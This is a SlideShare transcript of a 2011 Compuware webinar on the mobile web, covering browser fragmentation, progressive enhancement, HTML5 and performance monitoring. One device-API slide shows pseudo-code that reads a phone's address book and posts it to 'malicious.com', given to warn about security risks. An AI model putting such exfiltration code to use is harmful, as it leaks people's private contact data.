Your SlideShare is downloading. ×
0
State of          the mobile web                   Peter-Paul Koch             http://quirksmode.org             http://tw...
Mobile First!• Design your sites for mobile first.• You’ll be forced to decide what is so  important that it MUST be shown...
The mobile browsers•   Safari iPhone       •   Obigo WebKit•   Android WebKit      •   Ovi•   Dolfin for bada     •   Bolt...
The mobile browsers•   Safari iPhone       •   Obigo WebKit•   Android WebKit      •   Ovi•   Dolfin for bada     •   Bolt...
WebKit on MobileThere is no WebKit on mobile!Theres iPhone Safari (2 and 3),and Android (1.0 and 1.5)and S60 WebKit (v3 an...
Exhibit A: WebKit comparison tablehttp://quirksmode.org/webkit.html
The mobile browsers•   Safari iPhone       •   Obigo WebKit•   Android WebKit      •   Ovi•   Dolfin for bada     •   Bolt...
The mobile browsers•   Safari iPhone       •   Obigo WebKit•   Android WebKit      •   Ovi•   Dolfin for bada     •   Bolt...
Proxy browsers• Page is downloaded to and rendered  on a specialised server.• A highly compressed image is sent to  the cl...
Global stats Q4 2010                  (by StatCounter)Safari       23% iOS                      StableOpera        22% Man...
Browser stats• Those are GLOBAL stats; they are not  necessarily correct for the sites you’re  working on. Always check yo...
Stats(global, Q4 2010)
But usually this is what happens          Rest? What rest?
Which mobile browsers?• Safari iPhone• Opera Mini• Android WebKit• US: BlackBerry (WebKit and older)• Europe: Nokia WebKit...
Progressive        enhancementHow do you deal with this immenseamount of browsers?Use advanced tricks, but make sureyour s...
Progressive         enhancement                   HTMLAll browsers support HTML. That’s the definitionof a browser.
Progressive        enhancement     Basic CSS                  HTMLAll browsers support most basic CSS. There willbe bugs, ...
Progressive         enhancement   Advanced CSS     Basic CSS                    HTMLAdvanced CSS is restricted to advanced...
Progressive         enhancement   Advanced CSS     Basic CSS            Basic JavaScript                   HTMLAll browser...
Progressive         enhancement   Advanced CSS          Advanced JavaScript     Basic CSS             Basic JavaScript    ...
Progressive         enhancementCSS animations? Use them.If they don’t work, nothing is lost.Offline storage? Use it.If it ...
PerformanceHow long does it take to generate 250lists with 20 items each?The following graphs give the number ofseconds it...
Performance
Performance
HTML5• Which browsers support HTML5?• What is HTML5, anyway?• Ask five web developers and they’ll  give you five different...
HTML5•   Offline storage•   Video and audio•   Canvas•   New input types•   Websockets•   New semantics•   SVG•   File API...
Offline storage•   Safari iPhone       •   Obigo WebKit•   Android WebKit      •   Ovi•   Dolfin for bada     •   Bolt•   ...
SVG•   Safari iPhone       •   Obigo WebKit•   Android WebKit      •   Ovi•   Dolfin for bada     •   Bolt•   BlackBerry W...
New input types•   Safari iPhone       •   Obigo WebKit•   Android WebKit      •   Ovi•   Dolfin for bada     •   Bolt•   ...
HTML5• Which browsers support HTML5?• It depends.• HTML5 is mainly a marketing  buzzword.• That’s not bad; we need it.• Bu...
HTML5 apps• One core app written in HTML,  CSS, and JavaScript.• Deployed to several mobile  platforms.• Ideally, CSS and ...
Symbian                 Windows Mobile    I’ve done it. In April 2009.
Device APIs    • Native apps offer device APIs.    • They allow you to access the camera,      accelerometer, SMS, file sy...
Device APIsvar ab = device.addressBook.toString();sendRequest(POST,malicious.com,ab);There’s a serious security problem he...
Summary• Mobile First! Design for mobile, and  your desktop site will become better,  too.• Use progressive enhancement. L...
Which mobile browsers?•   Safari iPhone•   Opera Mini•   Android WebKit•   US: BlackBerry (WebKit and older)•   Europe: No...
Thank you                  • Peter-Paul Koch              • http://quirksmode.org              • http://twitter.com/ppk• C...
Best Practices For DeliveringQuality Web Experiences In AMobile, Multi-Browser World    Steve Tack    CTO APM Solutions   ...
Users Access The Web On A Variety Of BrowsersAnd Devices
Mobile Devices & Browsers Ever More Important                      • Morgan Stanley predicts global mobile users will outn...
Typical Evolution Of A Company’s Mobile Strategy• Denial – Don’t do anything    – “Mobile Phone Users? Do we have any?”   ...
Smartphone Owners By Far Most Active Users           Of Mobile Web  F   e  e   p  a   h  t   o  u   n  r   e      Q      M...
Different Browsers And Devices HaveDifferent Capabilities• In turn different browsers offer different experiences - even  ...
Smartphones Have Redefined Mobile End-Users’Experience Expectations                            • By end of 2011 Nielsen   ...
End-Users’ Mobile Experience ExpectationsAre Increasing
End-Users’ Mobile Experience Expectations AreOften Not Met• Mobile website performance impacts  business results  – 52% of...
Poor Mobile Website Performance Hurts Business                                    Abandonment Rate Across 200+ Web Sites /...
Delivering Quality Mobile Web Experiences Is    Difficult - Solution: Adopt Your End-Users POV                            ...
Know Your End-Users• Can mobile end-users complete key transactions?    – While on the move    – Often one-handed    – Wit...
Browsers Are Evolving• HTML5 support    – Application cache, canvas,      audio, video, local storage,      geo-location, ...
Leverage Browser Capabilities To ImprovePerceived Performance• Fewer steps to complete an end-user goal equals better  per...
Ensure Mobile Web Applications Function As Intended    Across All The Devices Your Customers UseAndroid 2.2 – Nexus One   ...
Embrace A “One Web” Application PerformanceManagement Approach• Mobile websites and applications often share backend infra...
How To Deliver Quality Web Experiences In AMobile, Multi-Browser World•   Adopt your end-users point of view•   Know your ...
Questions?Compuware CustomersEnjoy Measurable Benefits• Increased revenue 25%• Reduced revenue loss by  92% and $737,251 a...
Best practices for delivering quality web experiences
Upcoming SlideShare
Loading in...5
×

Best practices for delivering quality web experiences

685

Published on

Published in: Technology, Design
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
685
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
10
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "Best practices for delivering quality web experiences"

  1. 1. State of the mobile web Peter-Paul Koch http://quirksmode.org http://twitter.com/ppkCompuware Webinar , 24 March 2011
  2. 2. Mobile First!• Design your sites for mobile first.• You’ll be forced to decide what is so important that it MUST be shown in the mobile device’s tiny display.• The things you leave out of the mobile version don’t really need to be in the desktop version, either.
  3. 3. The mobile browsers• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb You may groan now.
  4. 4. The mobile browsers• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb WebKit-based
  5. 5. WebKit on MobileThere is no WebKit on mobile!Theres iPhone Safari (2 and 3),and Android (1.0 and 1.5)and S60 WebKit (v3 and v5)and Blackberry WebKit,and Palm WebKit,and Bolt, Ozone, Teashark, and a few moreThese WebKits are all different.
  6. 6. Exhibit A: WebKit comparison tablehttp://quirksmode.org/webkit.html
  7. 7. The mobile browsers• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb
  8. 8. The mobile browsers• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb Proxy browsers
  9. 9. Proxy browsers• Page is downloaded to and rendered on a specialised server.• A highly compressed image is sent to the client.• Advantage: cheap, both in device and in network costs• Disadvantage: no client-side interactivity
  10. 10. Global stats Q4 2010 (by StatCounter)Safari 23% iOS StableOpera 22% Many OSs StableBlackBerry 18% BlackBerry DownNokia 16% Symbian (and S40) StableAndroid 12% Android UpNetFront 4% Sony Ericsson & Samsung StableSamsung 1% bada UpUCWeb 1% Many OSs DownOthers 3%
  11. 11. Browser stats• Those are GLOBAL stats; they are not necessarily correct for the sites you’re working on. Always check your stats.• Social media referrals cause disproportionate iPhone visits; and Android to a lesser degree.
  12. 12. Stats(global, Q4 2010)
  13. 13. But usually this is what happens Rest? What rest?
  14. 14. Which mobile browsers?• Safari iPhone• Opera Mini• Android WebKit• US: BlackBerry (WebKit and older)• Europe: Nokia WebKit• Dolfin for bada (easy)• Opera Mobile (easy)
  15. 15. Progressive enhancementHow do you deal with this immenseamount of browsers?Use advanced tricks, but make sureyour site remains usable without them.The site is enhanced as much as thebrowser allows.
  16. 16. Progressive enhancement HTMLAll browsers support HTML. That’s the definitionof a browser.
  17. 17. Progressive enhancement Basic CSS HTMLAll browsers support most basic CSS. There willbe bugs, but only few.
  18. 18. Progressive enhancement Advanced CSS Basic CSS HTMLAdvanced CSS is restricted to advancedbrowsers. Make sure it contains nothing vital; justnice extras.
  19. 19. Progressive enhancement Advanced CSS Basic CSS Basic JavaScript HTMLAll browsers support basic JavaScript, but theycan be slow. Maybe switch off in BB5 and lower.
  20. 20. Progressive enhancement Advanced CSS Advanced JavaScript Basic CSS Basic JavaScript HTMLAdvanced JavaScript is a problem. Featuredetection is your friend. Make sure it containsnothing vital.
  21. 21. Progressive enhancementCSS animations? Use them.If they don’t work, nothing is lost.Offline storage? Use it.If it doesn’t work, the user reloads thesite every time. Not perfect, but it works.
  22. 22. PerformanceHow long does it take to generate 250lists with 20 items each?The following graphs give the number ofseconds it took the browsers.http://quirksmode.org/m/tests/DOMspeed.html
  23. 23. Performance
  24. 24. Performance
  25. 25. HTML5• Which browsers support HTML5?• What is HTML5, anyway?• Ask five web developers and they’ll give you five different answers.
  26. 26. HTML5• Offline storage• Video and audio• Canvas• New input types• Websockets• New semantics• SVG• File API• etc. etc. etc.
  27. 27. Offline storage• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb
  28. 28. SVG• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb
  29. 29. New input types• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb
  30. 30. HTML5• Which browsers support HTML5?• It depends.• HTML5 is mainly a marketing buzzword.• That’s not bad; we need it.• But it has no technical meaning.
  31. 31. HTML5 apps• One core app written in HTML, CSS, and JavaScript.• Deployed to several mobile platforms.• Ideally, CSS and JavaScript are stored on the device.• If it cant be deployed its still a website.
  32. 32. Symbian Windows Mobile I’ve done it. In April 2009.
  33. 33. Device APIs • Native apps offer device APIs. • They allow you to access the camera, accelerometer, SMS, file system, etc. • Web apps will have to offer them, too.device.phone.call(device.addressBook[mom])
  34. 34. Device APIsvar ab = device.addressBook.toString();sendRequest(POST,malicious.com,ab);There’s a serious security problem here.Providing trusted apps might remain an appstore function.
  35. 35. Summary• Mobile First! Design for mobile, and your desktop site will become better, too.• Use progressive enhancement. Lots of it. It will keep you sane.• Know which browsers to develop for.
  36. 36. Which mobile browsers?• Safari iPhone• Opera Mini• Android WebKit• US: BlackBerry (WebKit and older)• Europe: Nokia WebKit• Dolfin for bada (easy)• Opera Mobile (easy)
  37. 37. Thank you • Peter-Paul Koch • http://quirksmode.org • http://twitter.com/ppk• Compuware Webinar , 24 March 2011
  38. 38. Best Practices For DeliveringQuality Web Experiences In AMobile, Multi-Browser World Steve Tack CTO APM Solutions Compuware
  39. 39. Users Access The Web On A Variety Of BrowsersAnd Devices
  40. 40. Mobile Devices & Browsers Ever More Important • Morgan Stanley predicts global mobile users will outnumber desktop internet users within 3 years Global Mobile vs. Desktop Internet User Projection, 2007 - 2015 2000 1800 Desktop Users 1600 Mobile UsersInternet Users (MM) 1400 1200 1000 800 600 400 200 0 2007 2008 2009 2010 2011 2012 2013 2014 2015 Source: Mary Meeker, Morgan Stanley
  41. 41. Typical Evolution Of A Company’s Mobile Strategy• Denial – Don’t do anything – “Mobile Phone Users? Do we have any?” Limitation – “Just have them go to our regular website”• (Reluctant) Acceptance – Create a minimal mobile website – “Let’s create a simple version of our website that works across all devices” – Lowest common denominator approach• Panic – Get an app store presence as quickly as possible – “We have to have a native app. Everyone else is doing it” – Create a thin native wrapper around the browser object. Low effort. Questionable value.• Contemplation – Fix the native app – “Wow! These phones can do that?” – Iteratively replace browser object with native calls, add device-specific capabilities• Maturity – Optimize the mobile website Opportunity – “Wow! I can do that in a browser? Really?” – Use the mobile-specific browser capabilities to enhance mobile website
  42. 42. Smartphone Owners By Far Most Active Users Of Mobile Web F e e p a h t o u n r e Q M D S mh ao rn t e p 0% 10% 20% 30% 40% 50% 60% 70% 80% 90% Daily Weekly MonthlySource: Forrester Research North American Technographics® Benchmark Surveys, Q2 2010
  43. 43. Different Browsers And Devices HaveDifferent Capabilities• In turn different browsers offer different experiences - even amongst high-end, touch screen smartphones
  44. 44. Smartphones Have Redefined Mobile End-Users’Experience Expectations • By end of 2011 Nielsen expects more smartphones in U.S. than feature phones • As of November 2010 – 31% of U.S. mobile subscribers own smartphones – 45% of recent acquirers chose a smartphone over a feature phone • Mobile end-users expect rich, engaging mobile web experiences
  45. 45. End-Users’ Mobile Experience ExpectationsAre Increasing
  46. 46. End-Users’ Mobile Experience Expectations AreOften Not Met• Mobile website performance impacts business results – 52% of users are unlikely to return to a site they had trouble accessing on their phone • 40% said they’d likely visit a competitor’s website instead Social media allows users to voice & record their frustration in real-time, negatively impacting revenue and brand equity
  47. 47. Poor Mobile Website Performance Hurts Business Abandonment Rate Across 200+ Web Sites / 177+ Million Page 30 Abandonment Rate - All Browsers 25Abandonment Rate (%) Abandonment Rate 20 - iPhone Safari 15 Slower pages = higher abandonment 10 • Reduces revenue • Increases costs • Damages brand 5 0 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Page Load Time (sec.)Source: Gomez real user monitoring
  48. 48. Delivering Quality Mobile Web Experiences Is Difficult - Solution: Adopt Your End-Users POV The Application Delivery Chain • Resource contention • Capacity issues Cloud • Slow bursting Customers Private Public Browsers Local Data Center • Inconsistent geo performance ISP • Bad performance under load 3rd Party/ Virtual/Physical Environment • Blocking content delivery Cloud Services • Poorly performing DB App Web Load • Network JavaScriptMainframe Servers Servers Servers Balancers Major peering • Browser/ ISP problems device • Poorly performing • Network incompatibility problems • Bandwidth Java or .NET methods • Bandwidth Customer/user point of view throttling • Pages too big contention • Inconsistent • Low cache • Slow SQL or Web Storage transactions • Network connectivity hit rate services • Improper load Network peering Content • Server performance balancing problems • Outages Delivery Networks Web Mobile WAN Services Components Optimization Mobile • Configuration issues • Oversubscribed POP Carrier • Poor routing optimization Devices Employees Employees • Low cache hit rate • Network resource shortage • Faulty content transcoding • SMS routing / latency issues
  49. 49. Know Your End-Users• Can mobile end-users complete key transactions? – While on the move – Often one-handed – With intermittent network/GPS connections• What devices and browsers do they use?• What networks are they on?• What are their usage patterns?• What is their geographic location?• What is their context?• What are their objectives?
  50. 50. Browsers Are Evolving• HTML5 support – Application cache, canvas, audio, video, local storage, geo-location, etc.• CSS3 support – Web fonts, animations, gradients, shadows, etc.• Performance improvements – Faster JavaScript processing – Parallel download of JS scripts – More parallel connections – Resource pre-fetching – Multi-threading in JS
  51. 51. Leverage Browser Capabilities To ImprovePerceived Performance• Fewer steps to complete an end-user goal equals better perceived performance from an end-users’ perspective
  52. 52. Ensure Mobile Web Applications Function As Intended Across All The Devices Your Customers UseAndroid 2.2 – Nexus One BlackBerry OS 5 – Storm 2 iOS 4.1 – iPhone 3GS
  53. 53. Embrace A “One Web” Application PerformanceManagement Approach• Mobile websites and applications often share backend infrastructure and services with existing web apps• Important to leverage established and common best practices, metrics and technologies for both mobile and web channels – Garner operational efficiencies – Identify mobile specific problems, web specific problems or both across the entire application delivery chain - from device to datacenter iPad & Safari iPhone & Safari iPhone App Windows 7 & Chrome
  54. 54. How To Deliver Quality Web Experiences In AMobile, Multi-Browser World• Adopt your end-users point of view• Know your end-users• Tailor your mobile experience to meet your end- users objectives• Leverage browser capabilities to improve perceived performance• Ensure mobile web applications function as intended across all the devices your customers use• Embrace a “One Web” application performance management approach
  55. 55. Questions?Compuware CustomersEnjoy Measurable Benefits• Increased revenue 25%• Reduced revenue loss by 92% and $737,251 annually• Reduced home page load time from 11.3 seconds to 3.4 seconds• Saved 50%+ in staff and fees• Reduced downtime 45%• Improved first-hour problem resolution rate to 80%• Improved annual troubleshooting efficiency by 97%, saving $784,000• Reduced SAP license costs by $475,000 per yearFor more information visit Gomez.com or contact us at +1 781.778.2700
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×